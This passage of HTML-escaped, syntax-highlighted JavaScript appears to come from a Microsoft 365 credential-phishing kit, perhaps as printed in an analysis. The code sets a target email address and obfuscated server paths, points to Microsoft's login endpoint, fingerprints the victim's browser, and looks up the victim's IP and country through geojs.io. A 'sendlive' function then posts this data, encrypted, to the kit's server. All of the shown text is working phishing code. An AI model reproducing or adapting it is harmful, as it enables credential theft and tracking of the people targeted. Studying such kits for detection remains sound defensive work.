class=&quot;s2&quot;&gt;/t.me.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/www.telegram.me&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/www.telegram.me&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;capnum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appnum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pvn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pagelinkval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DYP69&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jon.doe@target.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;webname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rtrim(/web9/, &apos;/&apos;)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;urlo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/emb8kD0RTbyoICDCtpBvPcikTu8AQYQ7s9ISvjPeyUkKmaDS6yyJ0Hs5UOnb&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gdf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/ij6XWH6LKuAiS9LLyggKewJrmywxM9aNYhf0G5GQoab120&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;odf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/ijj0e57If25ZKU40GtCG7H8EuvNCDfgFofGtqHTrwdqcd646&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;twa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currentreq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pagedata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;redirecturl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://login.microsoftonline.com/common/SAS/ProcessAuth&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;userip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;usercountry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;errorcodeexecuted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/edg/i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Edge&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/chrome|chromium|crios/i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;chrome&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/firefox|fxios/i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;firefox&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/safari/i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;safari&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/opr&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;opera&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;browserName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;No browser detection&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;removespaces&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+/g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Removes all spaces&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sendlive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;statusval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;urlo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stringToBinary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;pagelink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pagelinkval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;statusval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;userip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;country&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;usercountry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;useragent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;appnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appnum&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}))),&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Error:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://get.geojs.io/v1/ip/geo.json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;userip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;usercountry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;country&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;sendlive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
